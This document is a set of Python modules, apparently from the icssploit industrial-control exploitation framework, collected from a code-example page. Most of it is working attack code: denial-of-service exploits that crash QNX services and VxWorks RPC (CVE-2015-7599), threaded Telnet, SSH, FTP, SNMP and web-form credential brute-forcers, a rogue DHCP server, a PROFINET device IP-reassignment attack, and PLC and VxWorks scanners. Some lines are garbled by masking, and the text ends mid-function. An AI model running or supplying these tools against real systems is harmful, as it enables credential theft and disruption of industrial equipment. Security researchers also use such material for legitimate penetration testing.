class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'S7Plus PLC Scan',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description':
        'Scan all S7 1200/1500 PLC with s7comm plus version 1 protocol.',
        'references': [],
    }

    target = exploits.Option(
        '', "string for hosts as nmap use it 'scanme.nmap.org'"
        " or '198.116.0-255.1-127' or '216.163.128.20/20'")
    port = exploits.Option(102,
                           'S7comm port, default is 102/TCP',
                           validators=validators.integer)
    verbose = exploits.Option(0,
                              'Scapy verbose level, 0 to 2',
                              validators=validators.integer)
    result = []

    def get_target_info(self, host, port):
        ip_address = host
        try:
            target = S7PlusClient(name='S7Scanner', ip=host, port=port)
            target.connect()
            order_code, serial_number, hardware_version, firmware_version = target.get_target_info(
            )
            if order_code != '':
                self.result.append([
                    order_code, serial_number, hardware_version,
                    firmware_version, ip_address
                ])
        except Exception as err:
            print_error(err)
            return False

    def run(self):
        self.result = []
        conf.verb = self.verbose
        nm = port_scan(protocol='TCP', target=self.target, port=self.port)
        for host in nm.all_hosts():
            if nm[host]['tcp'][self.port]['state'] == "open":
                print_success("Host: %s, port:%s is open" % (host, self.port))
                self.get_target_info(host=host, port=self.port)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        if len(self.result) > 0:
            print_success("Find %s targets" % len(self.result))
            print_table(TABLE_HEADER, *unique_device)
            print('\r')
        else:
            print_error("Didn't find any target on network %s" % self.target)

    def command_export(self, file_path, *args, **kwargs):
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        unique_device = sorted(unique_device)
        export_table(file_path, TABLE_HEADER, unique_device)
class Exploit(exploits.Exploit):
    __info__ = {
        'name':
        'Crash QNX Inetd tcp service',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>',
        ],
        'description':
        'Crash the tcp service started with inetd.',
        'references':
        ['https://gist.github.com/dark-lbp/e26c4493b687ea9b345f46e002e4d9a8'],
        'devices': [
            'QNX SDP 660',
        ],
    }

    target = exploits.Option('',
                             'Target address e.g. 192.168.1.1',
                             validators=validators.ipv4)
    port = exploits.Option(22, 'Target Port', validators=validators.integer)

    def exploit(self):
        for i in range(60):
            try:
                sock = socket.socket()
                sock.connect((self.target, self.port))
                sock.send('A' * 100)
                time.sleep(0.1)
            except Exception:
                break

    def run(self):
        if self._check_alive():
            print_success("Target is alive")
            print_status("Sending packet to target")
            self.exploit()
            if not self._check_alive():
                print_success("Target port is down")
        else:
            print_error("Target port is not alive")

    @mute
    # TODO: Add check later
    def check(self):
        pass

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception:
            return False
        return True
Exemple #3
0
class Exploit(exploits.Exploit):
    """
    Module performs bruteforce attack against Telnet service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name':
        'Telnet Bruteforce',
        'description':
        'Module performs bruteforce attack against Telnet service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # icssploit module
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = exploits.Option(
        '', 'Target IP address or file with target:port (file://)')
    port = exploits.Option(23, 'Target port')

    threads = exploits.Option(8, 'Number of threads')
    usernames = exploits.Option('admin',
                                'Username or file with usernames (file://)')
    passwords = exploits.Option(wordlists.passwords,
                                'Password or file with passwords (file://)')
    verbosity = exploits.Option('yes', 'Display authentication attempts')
    stop_on_success = exploits.Option(
        'yes', 'Stop on first valid authentication attempt')

    credentials = []

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        try:
            tn = telnetlib.Telnet(self.target, self.port)
            tn.expect(["login: "******"Login: "******"Connection error {}:{}".format(
                self.target, self.port))
            return

        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = LockedIterator(itertools.product(usernames, passwords))
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name

        print_status(name, 'thread is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                user, password = data.next()
                user = user.strip()
                password = password.strip()
            except StopIteration:
                break
            else:
                retries = 0
                while retries < 3:
                    try:
                        tn = telnetlib.Telnet(self.target, self.port)
                        tn.expect(["Login: "******"login: "******"\r\n")
                        tn.expect(["Password: "******"password"], 5)
                        tn.write(password + "\r\n")
                        tn.write("\r\n")

                        (i, obj, res) = tn.expect(["Incorrect", "incorrect"],
                                                  5)
                        tn.close()

                        if i != -1:
                            print_error(
                                "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                                .format(self.target, self.port, name, user,
                                        password),
                                verbose=module_verbosity)
                        else:
                            if any(map(lambda x: x in res, [
                                    "#", "$", ">"
                            ])) or len(res) > 500:  # big banner e.g. mikrotik
                                if boolify(self.stop_on_success):
                                    running.clear()

                                print_success(
                                    "Target: {}:{} {}: Authentication Succeed - Username: '******' Password: '******'"
                                    .format(self.target, self.port, name, user,
                                            password),
                                    verbose=module_verbosity)
                                self.credentials.append(
                                    (self.target, self.port, user, password))
                        tn.close()
                        break
                    except EOFError:
                        print_error(name,
                                    "Connection problem. Retrying...",
                                    verbose=module_verbosity)
                        retries += 1

                        if retries > 2:
                            print_error(
                                "Too much connection problems. Quiting...",
                                verbose=module_verbosity)
                            return
                        continue

        print_status(name, 'thread is terminated.', verbose=module_verbosity)
Exemple #4
0
class Exploit(exploits.Exploit):
    """
    Module performs bruteforce attack against SNMP service.
    If valid community string is found, it is displayed to the user.
    """
    __info__ = {
        'name': 'SNMP Bruteforce',
        'description':
        'Module performs bruteforce attack against SNMP service. '
        'If valid community string is found, it is displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # icssploit module
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = exploits.Option(
        '', 'Target IP address or file with target:port (file://)')
    port = exploits.Option(161, 'Target port', validators=validators.integer)
    version = exploits.Option(2,
                              'Snmp version 1:v1, 2:v2c',
                              validators=validators.integer)
    threads = exploits.Option(8, 'Number of threads')
    snmp = exploits.Option(
        wordlists.snmp,
        'Community string or file with community strings (file://)')
    verbosity = exploits.Option('yes', 'Display authentication attempts')
    stop_on_success = exploits.Option('yes',
                                      'Stop on first valid community string')
    strings = []

    def run(self):
        self.strings = []
        self.attack()

    @multi
    def attack(self):
        # todo: check if service is up
        if self.snmp.startswith('file://'):
            snmp = open(self.snmp[7:], 'r')
        else:
            snmp = [self.snmp]

        collection = LockedIterator(snmp)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.strings):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Community Strings")
            print_table(headers, *self.strings)
        else:
            print_error("Valid community strings not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name

        print_status(name, 'thread is starting...', verbose=module_verbosity)

        cmdGen = cmdgen.CommandGenerator()
        while running.is_set():
            try:
                string = data.next().strip()

                errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
                    cmdgen.CommunityData(string, mpModel=self.version - 1),
                    cmdgen.UdpTransportTarget((self.target, self.port)),
                    '1.3.6.1.2.1.1.1.0',
                )

                if errorIndication or errorStatus:
                    print_error(
                        "Target: {}:{} {}: Invalid community string - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)
                else:
                    if boolify(self.stop_on_success):
                        running.clear()
                    print_success(
                        "Target: {}:{} {}: Valid community string found - String: '{}'"
                        .format(self.target, self.port, name, string),
                        verbose=module_verbosity)
                    self.strings.append((self.target, self.port, string))

            except StopIteration:
                break

        print_status(name, 'thread is terminated.', verbose=module_verbosity)
Exemple #5
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'Fake DHCP Server',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>',
        ],
        'description': 'Create a fake dhcp server.',
        'references': [],
        'devices': [],
    }

    target = exploits.Option(
        'ff:ff:ff:ff:ff:ff',
        'Target mac address(default value mean offer ip to any mac) '
        'e.g. 40:6c:8f:ff:ff:ff',
        validators=validators.mac)
    nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0')
    client_ip_range = exploits.Option(
        '192.168.1.100-200', 'Client ip range e.g. 192.168.1.100-200')
    client_net_mask = exploits.Option('255.255.255.0',
                                      'Target network mask e.g. 255.255.255.0',
                                      validators=validators.ipv4)
    client_gateway = exploits.Option('192.168.1.1',
                                     'Target gateway e.g. 192.168.1.1',
                                     validators=validators.ipv4)
    client_dns = exploits.Option('192.168.1.1',
                                 'Target dns e.g. 192.168.1.1',
                                 validators=validators.ipv4)
    dhcp_server_ip = exploits.Option('192.168.1.1',
                                     'Target address e.g. 192.168.1.1',
                                     validators=validators.ipv4)
    server_mac = 'ff:ff:ff:ff:ff:ff'
    ip_address_pool = {}

    def create_ip_address_pool(self):
        ip_address_list = []
        if re.match("(?:[0-9]{1,3}\.){3}[0-9]{1,3}(-[0-9]{1,3})?",
                    str(self.client_ip_range)):
            try:
                start_address = validators.ipv4(
                    self.client_ip_range.split('-')[0])
                end_address = self.client_ip_range.split('-')[-1]
                if re.match("[0-9]{1,3}",
                            end_address) and len(end_address) < 4:
                    end_address = start_address[:start_address.rfind('.') +
                                                1] + end_address
                try:
                    if end_address == start_address:
                        ip_address_list.append(start_address)
                    else:
                        for ip_address in range(
                                struct.unpack(
                                    '!I',
                                    socket.inet_pton(socket.AF_INET,
                                                     start_address))[0],
                                struct.unpack(
                                    '!I',
                                    socket.inet_pton(socket.AF_INET,
                                                     end_address))[0]):
                            ip_address_list.append(
                                socket.inet_ntop(socket.AF_INET,
                                                 struct.pack('!I',
                                                             ip_address)))

                except AttributeError:
                    for ip_address in range(
                            struct.unpack('!I',
                                          socket.inet_aton(start_address))[0],
                            struct.unpack('!I',
                                          socket.inet_aton(end_address))[0]):
                        ip_address_list.append(
                            socket.inet_ntop(socket.AF_INET,
                                             struct.pack('!I', ip_address)))

                for ip_address in ip_address_list:
                    self.ip_address_pool[ip_address] = ""

            except validators.OptionValidationError:
                raise validators.OptionValidationError(
                    "Option have to be valid IP address range.")

            except Exception:
                raise validators.OptionValidationError(
                    "Option have to be valid IP address range.")
        else:
            raise validators.OptionValidationError(
                "Option have to be valid IP address range.")

    def chose_ip_to_offer(self, mac_address):
        unused_ip_address = []
        for ip_address in self.ip_address_pool.keys():
            if self.ip_address_pool[ip_address] == "":
                unused_ip_address.append(ip_address)
            elif self.ip_address_pool[ip_address] == mac_address:
                return ip_address
        if len(unused_ip_address) > 0:
            return unused_ip_address[0]
        else:
            print_error("All ip address is offer")
            return None

    def detect_dhcp(self, pkt):
        # If DHCP Discover then DHCP Offer
        if pkt[DHCP] and pkt[DHCP].options[0][1] == 1:
            print_status("DHCP Discover packet detected with mac address:%s" %
                         pkt.src)
            client_ip = self.chose_ip_to_offer(pkt.src)
            if client_ip:
                packet = Ether(src=self.server_mac, dst="ff:ff:ff:ff:ff:ff") / \
                         IP(src=self.dhcp_server_ip, dst="255.255.255.255") / \
                         UDP(sport=67, dport=68) / \
                         BOOTP(
                             op=2,
                             yiaddr=client_ip,
                             siaddr=self.client_gateway,
                             # giaddr=server_ip,
                             chaddr=pkt.src,
                             xid=pkt[BOOTP].xid,
                             sname='DHCPServer'
                         ) / \
                         DHCP(options=[('message-type', 'offer')]) / \
                         DHCP(options=[('subnet_mask', self.client_net_mask)]) / \
                         DHCP(options=[('name_server', self.client_dns)]) / \
                         DHCP(options=[('server_id', self.dhcp_server_ip), ('end')])
                sendp(packet, iface=self.nic)
                print_success("DHCP Offer packet sent.")
                print_success(
                    "DHCP Offer to target:%s\nIP:%s\nNetMask:%s\nGateWay:%s\nDNS:%s.\n"
                    % (pkt.src, client_ip, self.client_net_mask,
                       self.client_gateway, self.client_dns))

        # If DHCP Request then DHCP Ack
        if pkt[DHCP] and pkt[DHCP].options[0][1] == 3:
            print_status("DHCP Request packet detected with mac address:%s" %
                         pkt.src)
            client_ip = self.chose_ip_to_offer(pkt.src)
            if client_ip:
                packet = Ether(src=self.server_mac, dst=pkt.src) / \
                         IP(src=self.dhcp_server_ip, dst=client_ip) / \
                         UDP(sport=67, dport=68) / \
                         BOOTP(op=2,
                               yiaddr=client_ip,
                               siaddr=self.dhcp_server_ip,
                               giaddr=self.client_gateway,
                               chaddr=pkt.src,
                               xid=pkt[BOOTP].xid
                               ) / \
                         DHCP(options=[('message-type', 'ack')]) / \
                         DHCP(options=[('subnet_mask', self.client_net_mask)]) / \
                         DHCP(options=[('name_server', self.client_dns)]) / \
                         DHCP(options=[('server_id', self.dhcp_server_ip), ('end')])
                sendp(packet, iface=self.nic)
                print_success(
                    "DHCP Ack to target:%s\nIP:%s\nNetMask:%s\nGateWay:%s\nDNS:%s."
                    % (pkt.src, client_ip, self.client_net_mask,
                       self.client_gateway, self.client_dns))
                print_success("DHCP Ack packet sent\n\nCtrl+C to exit\n")

    def run(self):
        self.create_ip_address_pool()
        self.server_mac = get_if_hwaddr(self.nic)
        if self.target == 'ff:ff:ff:ff:ff:ff':
            sniff(filter="udp and (port 67 or 68)",
                  prn=self.detect_dhcp,
                  store=0,
                  iface=self.nic)
        else:
            sniff(filter="udp and (port 67 or 68) and (ether src host %s)" %
                  self.target,
                  prn=self.detect_dhcp,
                  store=0,
                  iface=self.nic)

    @mute
    # TODO: Add check later
    def check(self):
        pass
Exemple #6
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'profinet device ip setup',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description': 'Setup target ip address with PROFINET-DCP protocol.',
        'references': [
        ],
    }

    nic = exploits.Option('eth0', 'Interface Name e.g eth0, en0')
    target = exploits.Option('40:6c:8f:ff:ff:ff', 'Target mac address, e.g. 40:6c:8f:ff:ff:ff',
                             validators=validators.mac)
    target_ip = exploits.Option('192.168.1.100', 'IP Address to set', validators=validators.ipv4)
    target_netmask = exploits.Option('255.255.255.0', 'Network mask to set', validators=validators.ipv4)
    target_gateway = exploits.Option('0.0.0.0', 'Gateway to set', validators=validators.ipv4)
    timeout = exploits.Option(3, 'Timeout for response', validators=validators.integer)
    verbose = exploits.Option(0, 'Scapy verbose level, 0 to 2', validators=validators.integer)
    sniff_mac_address = None
    sniff_finished = threading.Event()
    result = []

    def sniff_answer(self):
        self.sniff_finished.clear()
        response = sniff(iface=self.nic, filter="ether dst host %s" % self.sniff_mac_address, timeout=self.timeout)
        self.result = []
        for i in range(len(response)):
            pkt = response[i]
            if pkt[Ether].dst == self.sniff_mac_address:
                Device_Name = ''
                Device_Type = ''
                MAC_Address = pkt[Ether].src
                IP_Address = ''
                Netmask = ''
                GateWay = ''
                if pkt.haslayer(PNDCPIdentDeviceNameOfStationResponseBlock):
                    Device_Name = pkt[PNDCPIdentDeviceNameOfStationResponseBlock].NameOfStation
                if pkt.haslayer(PNDCPIdentDeviceManufacturerSpecificResponseBlock):
                    Device_Type = pkt[PNDCPIdentDeviceManufacturerSpecificResponseBlock].DeviceVendorValue
                if pkt.haslayer(PNDCPIdentIPParameterResponseBlock):
                    IP_Address = pkt[PNDCPIdentIPParameterResponseBlock].IPaddress
                    Netmask = pkt[PNDCPIdentIPParameterResponseBlock].Subnetmask
                    GateWay = pkt[PNDCPIdentIPParameterResponseBlock].StandardGateway
                self.result.append([Device_Name, Device_Type, MAC_Address, IP_Address, Netmask, GateWay])
        self.sniff_finished.set()

    def exploit(self, target_mac):
        packet = Ether(src=self.sniff_mac_address, dst=target_mac, type=0x8892) / \
                 ProfinetIO(frameID=0xFEFD) / PNDCPHeader(ServiceID=4, ServiceType=0,
                                                          DCPBlocks=[PNDCPSetRequest(Option=0x01, SubOption=0x02)])
        packet[PNDCPHeader].DCPBlocks[0].DCPBlock = PNDCPSetIPParameterRequestBlock(
            IPaddress=self.target_ip, Subnetmask=self.target_netmask, StandardGateway=self.target_gateway
        )
        sendp(packet, iface=self.nic)

    def scan_target_ip(self, target_mac):
        p = threading.Thread(target=self.sniff_answer)
        p.setDaemon(True)
        p.start()
        packet = Ether(src=self.sniff_mac_address, dst=target_mac, type=0x8892) / ProfinetIO(frameID=0xFEFE) / \
                 PNDCPHeader(ServiceID=5, ServiceType=0, DCPBlocks=[PNDCPIdentRequest()])
        sendp(packet, iface=self.nic)
        self.sniff_finished.wait(self.timeout + 1)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        print(tabulate.tabulate(unique_device, headers=TABLE_HEADER))
        print('\n')

    def run(self):
        conf.verb = self.verbose
        self.sniff_mac_address = get_if_hwaddr(self.nic)
        self.scan_target_ip(self.target)
        if len(self.result) == 0:
            print_error("Didn't find any device, please check target mac address.")
            return
        print_status("Please make sure target device info is correct.")
        print_status("Do you want setup target with\n ip address: %s\n network mask: %s\n gateway:%s\n" % (
            self.target_ip, self.target_netmask, self.target_gateway
        ))
        ans = raw_input("Y/y to confirm, other to cancel.\n:")
        if ans.upper() == "Y":
            self.exploit(target_mac=self.target)
            self.scan_target_ip(self.target)
            # TODO: need some other method to check setup is success or not.
            if len(self.result) == 0:
                print_error("Setup target ip failed.")
                return

            if self.result[0][3] != self.target_ip \
                    or self.result[0][4] != self.target_netmask \
                    or self.result[0][5] != self.target_gateway:
                print_error("Setup target ip failed.")
                return
            else:
                print_success("Setup target ip succeeded")
Exemple #7
0
class Exploit(exploits.Exploit):
    """
    Module performs bruteforce attack against SSH service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name': 'SSH Bruteforce',
        'description':
        'Module performs bruteforce attack against SSH service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # icssploit module
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = exploits.Option(
        '', 'Target IP address or file with target:port (file://)')
    port = exploits.Option(22, 'Target port')

    threads = exploits.Option(8, 'Number of threads')
    usernames = exploits.Option('admin',
                                'Username or file with usernames (file://)')
    passwords = exploits.Option(wordlists.passwords,
                                'Password or file with passwords (file://)')
    verbosity = exploits.Option('yes', 'Display authentication attempts')
    stop_on_success = exploits.Option(
        'yes', 'Stop on first valid authentication attempt')

    credentials = []

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        ssh = paramiko.SSHClient()

        try:
            ssh.connect(self.target, port=self.port)
        except socket.error:
            print_error("Connection error: %s:%s" %
                        (self.target, str(self.port)))
            ssh.close()
            return
        except:
            pass

        ssh.close()

        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = LockedIterator(itertools.product(usernames, passwords))
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

        print_status(name, 'thread is starting...', verbose=module_verbosity)

        while running.is_set():
            try:
                user, password = data.next()
                user = user.strip()
                password = password.strip()
                ssh.connect(self.target,
                            int(self.port),
                            timeout=5,
                            username=user,
                            password=password)
            except StopIteration:
                break
            except paramiko.ssh_exception.SSHException as err:
                ssh.close()
                print_error(
                    "Target: {}:{} {}: {} Username: '******' Password: '******'".
                    format(self.target, self.port, name, err, user, password),
                    verbose=module_verbosity)
            else:
                if boolify(self.stop_on_success):
                    running.clear()

                print_success(
                    "Target: {}:{} {} Authentication Succeed - Username: '******' Password: '******'"
                    .format(self.target, self.port, name, user, password),
                    verbose=module_verbosity)
                self.credentials.append(
                    (self.target, self.port, user, password))

        print_status(name, 'thread is terminated.', verbose=module_verbosity)
Exemple #8
0
class Exploit(exploits.Exploit):
    """
    Exploit implementation for All Vxworks system which Remote Procedure Call (RPC) protocols is enabled.
    """
    __info__ = {
        'name': 'Vxworks RPC integer overflow dos',
        'authors': [
            'Yannick Formaggio <https://github.com/yformaggio>',  # vulnerability discovery
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description': 'Integer overflow in the _authenticate function in svc_auth.c in '
                       'Wind River VxWorks 5.5 through 6.9.4.1, when the Remote Procedure Call (RPC) '
                       'protocols is enabled, allows remote attackers to cause a denial of service (crash)'
                       'or possibly execute arbitrary code via a username and password.',
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2015-7599',
        ],
        'devices': [
            'Wind River VxWorks 5.5 through 6.9.4.1',
        ],
    }

    target = exploits.Option('', 'Target address e.g. 192.168.1.1', validators=validators.ipv4)
    port = exploits.Option(111, 'Target port', validators=validators.integer)

    def exploit(self):
        for i in range(20):
            pkt = pack(
                "!IIIIIIIIIII",
                0x80000030,  # fragment header
                random.randint(1, 2 ** 32 - 1),  # xid
                0,  # message type
                2,  # rpc version
                0x100000,  # program
                random.randint(1, 2 ** 32 - 1),  # program version
                0,  # procedure
                random.randint(1, 2 ** 32 - 1),  # credential flavor
                0,  # credential length
                0,  # verifier
                0,
            )
            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(2)
                sock.connect((self.target, self.port))
                sock.send(pkt)
                sock.close()

            except Exception as err:
                return

    def run(self):
        if self._check_alive():
            print_success("RPC port is open")
            print_status("Sending packet to target")
            self.exploit()
            time.sleep(3)  # wait target crash
            if not self._check_alive():
                print_success("Target is down")
            else:
                print_error("Target is not vulnerable")
        else:
            print_error("Target is not vulnerable")
            return

    def _check_alive(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            sock.connect((self.target, self.port))
            sock.close()
        except Exception as err:
            print(err)
            return False
        return True
Exemple #9
0
class Exploit(exploits.Exploit):
    """
    Module performs bruteforce attack against FTP service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name': 'FTP Bruteforce',
        'description': 'Module performs bruteforce attack against FTP service.'
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # icssploit module
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = exploits.Option(
        '', 'Target IP address or file with target:port (file://)')
    port = exploits.Option(21, 'Target port')

    threads = exploits.Option(8, 'Number of threads')
    usernames = exploits.Option('admin',
                                'Username or file with usernames (file://)')
    passwords = exploits.Option(wordlists.passwords,
                                'Password or file with passwords (file://)')
    verbosity = exploits.Option('yes', 'Display authentication attempts')
    stop_on_success = exploits.Option(
        'yes', 'Stop on first valid authentication attempt')

    credentials = []

    def run(self):
        self.credentials = []
        self.attack()

    @multi
    def attack(self):
        ftp = ftplib.FTP()
        try:
            ftp.connect(self.target, port=int(self.port), timeout=10)
        except (socket.error, socket.timeout):
            print_error("Connection error: %s:%s" %
                        (self.target, str(self.port)))
            ftp.close()
            return
        except:
            pass
        ftp.close()

        if self.usernames.startswith('file://'):
            usernames = open(self.usernames[7:], 'r')
        else:
            usernames = [self.usernames]

        if self.passwords.startswith('file://'):
            passwords = open(self.passwords[7:], 'r')
        else:
            passwords = [self.passwords]

        collection = LockedIterator(itertools.product(usernames, passwords))

        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
            headers = ("Target", "Port", "Login", "Password")
            print_table(headers, *self.credentials)
        else:
            print_error("Credentials not found")

    def target_function(self, running, data):
        module_verbosity = boolify(self.verbosity)
        name = threading.current_thread().name

        print_status(name, 'process is starting...', verbose=module_verbosity)

        ftp = ftplib.FTP()
        while running.is_set():
            try:
                user, password = data.next()
                user = user.strip()
                password = password.strip()
            except StopIteration:
                break
            else:
                retries = 0
                while retries < 3:
                    try:
                        ftp.connect(self.target,
                                    port=int(self.port),
                                    timeout=10)
                        break
                    except (socket.error, socket.timeout):
                        print_error(
                            "{} Connection problem. Retrying...".format(name),
                            verbose=module_verbosity)
                        retries += 1

                        if retries > 2:
                            print_error(
                                "Too much connection problems. Quiting...",
                                verbose=module_verbosity)
                            return

                try:
                    ftp.login(user, password)

                    if boolify(self.stop_on_success):
                        running.clear()

                    print_success(
                        "Target: {}:{} {}: Authentication succeed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)
                    self.credentials.append(
                        (self.target, self.port, user, password))
                except:
                    print_error(
                        "Target: {}:{} {}: Authentication Failed - Username: '******' Password: '******'"
                        .format(self.target, self.port, name, user, password),
                        verbose=module_verbosity)

                ftp.close()

        print_status(name, 'process is terminated.', verbose=module_verbosity)
Exemple #10
0
class Exploit(exploits.Exploit):
    __info__ = {
        'name': 'vxworks 6.x device scan',
        'authors': [
            'wenzhe zhu <jtrkid[at]gmail.com>'  # icssploit module
        ],
        'description':
        'Scan all vxworks 6.x device with wdbrpc version 2 protocol.',
        'references': [],
    }

    target = exploits.Option(
        '', "string for hosts as nmap use it 'scanme.nmap.org'"
        " or '198.116.0-255.1-127' or '216.163.128.20/20'")
    port = exploits.Option(17185,
                           'WdbRPC port, default is 17185/UDP',
                           validators=validators.integer)
    verbose = exploits.Option(0,
                              'Scapy verbose level, 0 to 2',
                              validators=validators.integer)
    result = []

    def scan(self, protocol):
        nm = nmap.PortScanner()
        try:
            if protocol == "tcp" or protocol == "TCP":
                nm.scan(hosts=self.target,
                        ports=str(self.port),
                        arguments='-n -sT ')
                return nm
            elif protocol == "udp" or protocol == "UDP":
                print_status(
                    "UDP Scan requires root privileges will using sudo to scan target "
                )
                nm.scan(hosts=self.target,
                        ports=str(self.port),
                        arguments='-n -sU ',
                        sudo=True)
                return nm
        except Exception as err:
            print_error(err)
            return None

    @staticmethod
    def sizeof_fmt(num, suffix='B'):
        for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']:
            if abs(num) < 1024.0:
                return "%3.1f%s%s" % (num, unit, suffix)
            num /= 1024.0
        return "%.1f%s%s" % (num, 'Yi', suffix)

    def get_target_info(self, host, port):
        target_type = ''
        vxworks_version = ''
        cpu_type = ''
        cpu_model = ''
        memory_size = ''
        ip_address = host
        try:
            target = Wdb2Client(name='Vxworks_6.6', ip=host, port=self.port)
            target.connect()
            target.get_target_info()
            target_type = target.target_info['Target_Type']
            vxworks_version = target.target_info['Vx_Version']
            cpu_type = target.target_info['CPU_Type']
            cpu_model = target.target_info['CPU_Model']
            memory_size = self.sizeof_fmt(target.target_info['Memory_Size'])
            ip_address = host
            self.result.append([
                target_type, vxworks_version, cpu_type, cpu_model, memory_size,
                ip_address
            ])
        except Exception as err:
            print_error(err)
            return False

    def run(self):
        conf.verb = self.verbose
        nm = self.scan(protocol='UDP')
        for host in nm.all_hosts():
            if nm[host]['udp'][self.port]['state'] == "open":
                print_success("Host: %s, port:%s is open" % (host, self.port))
                self.get_target_info(host=host, port=self.port)
        unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
        print tabulate.tabulate(unique_device, headers=TABLE_HEADER)
Exemple #11
0
class Exploit(exploits.Exploit):
    """
    Module performs dictionary attack with default credentials against HTTP form service.
    If valid credentials are found, they are displayed to the user.
    """
    __info__ = {
        'name':
        'HTTP Form Default Creds',
        'description':
        'Module performs dictionary attack with default credentials against HTTP form service. '
        'If valid credentials are found, they are displayed to the user.',
        'authors': [
            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # icssploit module
        ],
        'references': [
            '',
        ],
        'devices': [
            'Multi',
        ],
    }

    target = exploits.Option(
        '', 'Target IP address or file with target:port (file://)')
    port = exploits.Option(80, 'Target port')
    threads = exploits.Option(8, 'Number of threads')
    defaults = exploits.Option(
        wordlists.defaults,
        'User:Pass or file with default credentials (file://)')
    form = exploits.Option(
        'auto',
        'Post Data: auto or in form login={{USER}}&password={{PASS}}&submit')
    path = exploits.Option('/login.php', 'URL Path')
    form_path = exploits.Option('same', 'same as path or URL Form Path')
    verbosity = exploits.Option('yes', 'Display authentication attempts')
    stop_on_success = exploits.Option(
        'yes', 'Stop on first valid authentication attempt')

    credentials = []
    data = ""
    invalid = {"min": 0, "max": 0}

    def run(self):
        self.credentials = []
        self.attack()

    def get_form_path(self):
        if self.form_path == 'same':
            return self.path
        else:
            return self.form_path

    @multi
    def attack(self):
        url = sanitize_url("{}:{}{}".format(self.target, self.port,
                                            self.get_form_path()))

        try:
            requests.get(url, verify=False)
        except (requests.exceptions.MissingSchema,
                requests.exceptions.InvalidSchema):
            print_error("Invalid URL format: %s" % url)
            return
        except requests.exceptions.ConnectionError:
            print_error("Connection error: %s" % url)
            return

        # authentication type
        if self.form == 'auto':
            form_data = self.detect_form()

            if form_data is None:
                print_error("Could not detect form")
                return

            (form_action, self.data) = form_data
            if form_action:
                self.path = form_action
        else:
            self.data = self.form

        print_status("Attacking: ", self.path)
        print_status("Using following data: ", self.data)

        # invalid authentication
        self.invalid_auth()

        # running threads
        if self.defaults.startswith('file://'):
            defaults = open(self.defaults[7:], 'r')
        else:
            defaults = [self.defaults]

        collection = LockedIterator(defaults)
        self.run_threads(self.threads, self.target_function, collection)

        if len(self.credentials):
            print_success("Credentials found!")
